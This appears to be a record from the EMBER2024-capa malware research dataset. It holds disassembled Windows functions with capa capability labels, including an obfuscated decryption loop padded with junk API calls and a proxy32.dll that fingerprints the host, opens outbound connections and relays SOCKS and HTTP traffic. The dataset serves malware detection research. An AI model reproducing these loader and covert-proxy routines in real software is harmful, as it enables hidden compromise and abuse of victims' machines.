joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40309c
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [eax]
mov eax, dword [eax + 4]
push esi
xor esi, esi
cmp dword [0x845088], 0x594
push edi
mov dword [ebp - 8], eax
jne 0x4030d2
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov eax, dword [0x425ef8]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x425efc]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
call fcn.00403095
mov eax, dword [0x425f00]
add dword [ebp - 0x10], 0x23f
mov dword [ebp - 0x20], eax
mov eax, dword [0x425f04]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x18], 0x20
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, ebx
shl eax, 4
cmp dword [0x845088], 0xc
mov dword [ebp - 4], eax
jne 0x403160
push esi
lea eax, [ebp - 0x430]
push eax
push 0x4024d4
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
xor eax, eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosw word es:[edi], ax
push dword [ebp - 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov eax, dword [0x845088]
cmp eax, 0xfa9
jne 0x40317c
mov dword [0x844624], 0xedeb2e40
cmp eax, 0x3eb
jne 0x403189
mov dword [0x843fd4], esi
mov ecx, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
mov edx, ebx
shr edx, cl
lea eax, [edi + ebx]
mov dword [ebp - 0x14], eax
mov dword [0x844620], 0xf4ea3dee
add edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
cmp dword [0x845088], 0xc
jne 0x4031df
lea eax, [ebp - 0x14]
push eax
push esi
push esi
lea eax, [ebp - 0x30]
push eax
push esi
push esi
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.KERNEL32.dll_BackupRead]
mov eax, dword [ebp - 8]
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov eax, edx
shr eax, cl
add edi, edx
add eax, dword [ebp - 0x24]
xor eax, edi
xor dword [ebp - 4], eax
sub ebx, dword [ebp - 4]
lea eax, [ebp - 0x10]
call fcn.0040308e
dec dword [ebp - 0x18]
jne 0x40310b
cmp dword [0x845088], 0xa6d
mov edi, dword [ebp + 8]
mov dword [edi], ebx
jne 0x403236
push esi
push 0x4024f0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov edx, dword [ebp - 8]
mov dword [edi + 4], edx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x403240
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x845088]
mov ecx, dword [0x843fd8]
sub esp, 0x400
push esi
shr eax, 3
xor esi, esi
cmp eax, esi
jbe 0x4032e7
push ebx
push edi
mov edi, ecx
mov ebx, eax
cmp dword [0x845088], 0x959
jne 0x4032d9
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SleepEx]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0x402508
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
push esi
lea eax, [ebp - 0x400]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push esi
call dword [sym.imp.KERNEL32.dll_HeapLock]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push edi
call fcn.0040309c
add edi, 8
dec ebx
jne 0x403268
pop edi
pop ebx
pop esi
leave
ret
Function at 0x4043a0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4250c8]
jne 0x4043aa
repz ret
jmp fcn.00406b0e

Function at 0x40672f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404421
and dword [ebp - 4], 0
cmp dword [0x426a10], 0
mov ebx, eax
jne 0x4067e0
push 0x4019c8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406891
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4019bc
push edi
call esi
test eax, eax
je 0x406891
push eax
call fcn.004043af
mov dword [esp], 0x4019ac
push edi
mov dword [0x426a10], eax
call esi
push eax
call fcn.004043af
mov dword [esp], 0x401998
push edi
mov dword [0x426a14], eax
call esi
push eax
call fcn.004043af
mov dword [esp], 0x40197c
push edi
mov dword [0x426a18], eax
call esi
push eax
call fcn.004043af
pop ecx
mov dword [0x426a20], eax
test eax, eax
je 0x4067e0
push 0x401964
push edi
call esi
push eax
call fcn.004043af
pop ecx
mov dword [0x426a1c], eax
mov eax, dword [0x426a1c]
cmp eax, ebx
je 0x406838
cmp dword [0x426a20], ebx
je 0x406838
push eax
call fcn.0040442a
push dword [0x426a20]
mov esi, eax
call fcn.0040442a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x406838
test edi, edi
je 0x406838
call esi
test eax, eax
je 0x40682f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40682f
test byte [ebp - 0xc], 1
jne 0x406838
or dword [ebp + 0x10], 0x200000
jmp 0x406871
mov eax, dword [0x426a14]
cmp eax, ebx
je 0x406871
push eax
call fcn.0040442a
pop ecx
test eax, eax
je 0x406871
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x406871
mov eax, dword [0x426a18]
cmp eax, ebx
je 0x406871
push eax
call fcn.0040442a
pop ecx
test eax, eax
je 0x406871
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x426a10]
call fcn.0040442a
pop ecx
test eax, eax
je 0x406891
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x406893
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001220
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_inet_addr]
sub esp, 4
mov dword [ebp - 4], eax
mov eax, 0xffffffff
cmp eax, dword [ebp - 4]
jne 0x10001285
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
sub esp, 4
mov dword [ebp - 8], eax
xor eax, eax
cmp eax, dword [ebp - 8]
je 0x10001280
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [ebp - 4], eax
jmp 0x10001285
mov eax, dword [ebp - 4]
add esp, 0x10
pop ebp
ret

Function at 0x10001290
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
lea eax, [ebp - 4]
mov dword [esp], ecx
mov dword [esp + 4], 0xffff
mov dword [esp + 8], 0x1006
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 4
call dword [sym.imp.WS2_32.dll_setsockopt]
add esp, 4
pop ebp
ret

Function at 0x10001350
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp + 0x10]
lea eax, str._r_n_r_n
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
sub esp, 8
mov ecx, eax
xor eax, eax
cmp eax, ecx
je 0x10001398
mov dword [ebp - 8], 1
jmp 0x10001439
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x10]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, 0x1000
sub eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + 0xc]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_recv]
sub esp, 0x10
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jg 0x100013e5
jmp 0x10001433
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x10]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov byte [eax], 0
mov ecx, dword [ebp + 0x10]
lea eax, str._r_n_r_n
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
sub esp, 8
mov ecx, eax
xor eax, eax
cmp eax, ecx
je 0x1000142e
mov dword [ebp - 8], 1
jmp 0x10001439
jmp 0x100013a7
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
add esp, 0x24
pop esi
pop ebp
ret
Function at 0x10001450
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x12c
mov eax, dword [ebp + 0x14]
mov eax, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 2
jmp 0x10001479
mov dword [ebp - 0x114], 2
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x110], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10c], eax
xor eax, eax
lea ecx, [ebp - 0x114]
lea eax, [ebp - 0x10]
mov dword [esp], 0
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_select]
sub esp, 0x14
cmp eax, 0
jle 0x10001479
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x114]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100012e0
cmp eax, 0
je 0x10001596
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_recv]
sub esp, 0x10
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jg 0x10001536
mov dword [ebp - 8], 0
jmp 0x1000162a
cmp dword [ebp + 0x14], 0
je 0x1000156c
mov eax, dword [ebp + 0x10]
cmp dword [eax], 0x20544547
je 0x1000155e
mov eax, dword [ebp + 0x10]
cmp dword [eax], 0x54534f50
jne 0x1000156c
mov eax, dword [ebp - 0x118]
mov dword [ebp - 8], eax
jmp 0x1000162a
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_send]
sub esp, 0x10
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x114]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100012e0
cmp eax, 0
je 0x10001625
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_recv]
sub esp, 0x10
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
jg 0x100015fb
mov dword [ebp - 8], 0
jmp 0x1000162a
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_send]
sub esp, 0x10
jmp 0x10001474
mov eax, dword [ebp - 8]
add esp, 0x12c
pop esi
pop ebp
ret
Function at 0x10001640
Capabilities:
Get common file path
Get disk information
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [ebp - 4], 0
lea eax, [ebp - 0x109]
mov dword [esp], 0x105
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
sub esp, 8
cmp eax, 0
jbe 0x100017de
mov byte [ebp - 0x106], 0
lea ecx, [ebp - 0x109]
xor eax, eax
lea eax, [ebp - 4]
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
sub esp, 0x20
cmp eax, 0
jne 0x100017d9
mov dword [ebp - 0x110], 0x105
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x109]
lea eax, [ebp - 0x110]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
sub esp, 8
cmp eax, 0
je 0x1000174b
lea eax, [ebp - 0x109]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
movsx eax, byte [eax]
cmp eax, 0
je 0x10001746
mov eax, dword [ebp - 0x114]
movsx eax, byte [eax]
imul eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x114]
add eax, 1
mov dword [ebp - 0x114], eax
jmp 0x10001710
jmp 0x1000174b
mov eax, 1
cmp eax, dword [ebp - 4]
jne 0x100017d4
mov dword [ebp - 0x110], 0x105
lea ecx, [ebp - 0x109]
lea eax, [ebp - 0x110]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
sub esp, 8
cmp eax, 0
je 0x100017cf
lea eax, [ebp - 0x109]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x118]
movsx eax, byte [eax]
cmp eax, 0
je 0x100017ca
mov eax, dword [ebp - 0x118]
movsx eax, byte [eax]
imul eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x118]
add eax, 1
mov dword [ebp - 0x118], eax
jmp 0x10001794
jmp 0x100017cf
jmp 0x100017d4
jmp 0x100017d9
jmp 0x100017de
mov eax, dword [ebp - 4]
add esp, 0x138
pop ebp
ret
Function at 0x100018d0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp + 8]
xor eax, eax
lea eax, [ebp - 8]
mov dword [esp], ecx
mov dword [esp + 4], 0xf
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
call sub.DNSAPI.dll_DnsQuery_A
sub esp, 0x18
mov ecx, eax
xor eax, eax
cmp eax, ecx
jne 0x100019fc
mov eax, dword [ebp - 8]
mov dword [esp], eax
call fcn.100017f0
mov dword [ebp - 4], eax
mov eax, 0xffffffff
cmp eax, dword [ebp - 4]
jne 0x100019e6
mov eax, dword [ebp - 8]
movzx ecx, word [eax + 8]
mov eax, 0xf
cmp eax, ecx
jne 0x100019e6
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x100019e1
mov ecx, dword [ebp - 0xc]
xor eax, eax
lea eax, [ebp - 0x10]
mov dword [esp], ecx
mov dword [esp + 4], 1
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
call sub.DNSAPI.dll_DnsQuery_A
sub esp, 0x18
mov ecx, eax
xor eax, eax
cmp eax, ecx
jne 0x100019dc
mov eax, dword [ebp - 0x10]
movzx ecx, word [eax + 8]
mov eax, 1
cmp eax, ecx
jne 0x100019c6
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov dword [esp + 4], 1
call sub.DNSAPI.dll_DnsFree
sub esp, 8
jmp 0x100019e1
jmp 0x100019e6
mov eax, dword [ebp - 8]
mov dword [esp], eax
mov dword [esp + 4], 1
call sub.DNSAPI.dll_DnsFree
sub esp, 8
mov eax, dword [ebp - 4]
add esp, 0x28
pop ebp
ret

Function at 0x10001a10
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov dword [ebp - 8], 0
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0x10]
jge 0x10001a80
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_recv]
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jg 0x10001a72
jmp 0x10001a80
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
jmp 0x10001a27
mov eax, dword [ebp - 8]
add esp, 0x18
pop esi
pop ebp
ret

Function at 0x10001a90
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
mov dword [eax], 0x7704b285
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0x33e038ce
mov eax, dword [ebp + 8]
mov byte [eax + 8], 4
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1a
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_send]
sub esp, 0x10
mov ecx, eax
mov eax, 0x1a
cmp eax, ecx
sete al
and al, 1
movzx eax, al
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
add esp, 0x14
pop ebp
ret
Function at 0x10001b10
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov ax, word [ebp + 0xc]
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0xffffffff
mov dword [esp], 2
mov dword [esp + 4], 1
mov dword [esp + 8], 6
call dword [sym.imp.WS2_32.dll_socket]
sub esp, 0xc
mov dword [ebp - 4], eax
mov eax, 0xffffffff
cmp eax, dword [ebp - 4]
je 0x10001bbd
mov word [ebp - 0x14], 2
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
movzx eax, word [ebp + 0xc]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_htons]
sub esp, 4
mov word [ebp - 0x12], ax
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x14]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x10
call dword [sym.imp.WS2_32.dll_connect]
sub esp, 0xc
mov ecx, eax
mov eax, 0xffffffff
cmp eax, ecx
jne 0x10001bb8
mov eax, dword [ebp - 4]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
mov dword [ebp - 4], 0xffffffff
jmp 0x10001bbd
mov eax, dword [ebp - 4]
add esp, 0x20
pop ebp
ret

Function at 0x10001bd0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x40c]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x408
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_recv]
sub esp, 0x10
cmp eax, 8
jl 0x10001c7c
movsx eax, byte [ebp - 0x40b]
cmp eax, 1
jne 0x10001c7c
mov byte [ebp - 0x40c], 0
movzx eax, word [ebp - 0x40a]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_htons]
sub esp, 4
mov word [ebp - 0x40e], ax
mov ax, word [ebp - 0x40e]
mov ecx, dword [ebp - 0x408]
mov dword [esp], ecx
movzx eax, ax
mov dword [esp + 4], eax
call fcn.10001b10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
sete al
and al, 1
movzx eax, al
add eax, 0x5a
mov byte [ebp - 0x40b], al
lea eax, [ebp - 0x40c]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_send]
sub esp, 0x10
mov eax, dword [ebp - 4]
add esp, 0x420
pop ebp
ret

Function at 0x10001ea0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
mov dword [ebp - 4], 0
lea eax, [ebp - 0x108]
mov dword [esp], eax
mov dword [esp + 4], 0x104
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
sub esp, 8
cmp eax, 0
jbe 0x10001f26
lea ecx, [ebp - 0x108]
lea eax, [ebp - 0x24c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
sub esp, 8
mov dword [ebp - 0x10c], eax
mov eax, 0xffffffff
cmp eax, dword [ebp - 0x10c]
je 0x10001f21
mov eax, dword [ebp - 0x10c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 4
mov eax, dword [ebp - 0x248]
mov dword [ebp - 4], eax
jmp 0x10001f26
mov eax, dword [ebp - 4]
add esp, 0x254
pop ebp
ret
Function at 0x100022b0
Capabilities:
Send data
Send data on socket
Send http request

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, 0x1028
call fcn.10003e30
mov eax, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], 0xffffffff
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov byte [eax + ecx], 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 8]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10001350
cmp eax, 0
je 0x1000232c
lea edx, [ebp - 0x100c]
mov esi, dword [ebp + 0xc]
lea ecx, [ebp - 0x1010]
lea eax, [ebp - 0x1012]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.10002090
cmp eax, 0
jne 0x10002362
mov ecx, dword [ebp + 0x10]
lea eax, str.HTTP_1.0_400_Bad_Request_r_nContent_Length:_15_r_n_r_n400_Bad_Request
xor edx, edx
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3f
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_send]
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
jmp 0x1000243b
mov eax, dword [ebp - 0x1010]
mov dword [esp], eax
call fcn.10001220
mov dword [ebp - 0x1018], eax
mov ax, word [ebp - 0x1012]
mov ecx, dword [ebp - 0x1018]
mov dword [esp], ecx
movzx eax, ax
mov dword [esp + 4], eax
call fcn.10001b10
mov dword [ebp - 0x101c], eax
mov eax, 0xffffffff
cmp eax, dword [ebp - 0x1018]
je 0x100023ba
mov eax, 0xffffffff
cmp eax, dword [ebp - 0x101c]
jne 0x100023f0
mov ecx, dword [ebp + 0x10]
lea eax, str.HTTP_1.0_502_Bad_Gateway_r_nContent_Length:_15_r_n_r_n502_Bad_Gateway
xor edx, edx
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3f
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_send]
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
jmp 0x1000243b
mov eax, dword [ebp - 0x101c]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x100c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
sub esp, 4
lea ecx, [ebp - 0x100c]
mov edx, dword [ebp - 0x101c]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_send]
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
add esp, 0x1028
pop esi
pop ebp
ret
Function at 0x10003d70
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
cmp dword [ebp + 0xc], 1
jne 0x10003dcb
mov dword [ebp - 4], 0
xor eax, eax
lea ecx, [sym.proxy32.dll_DllEntry]
lea eax, [ebp - 4]
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov eax, 1
add esp, 0x1c
pop ebp
ret 0xc

Function at 0x10008807
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10008846
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10008846
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10008846
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10008846
cmp dword [ecx + 0x74], 0xe
jbe 0x10008846
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret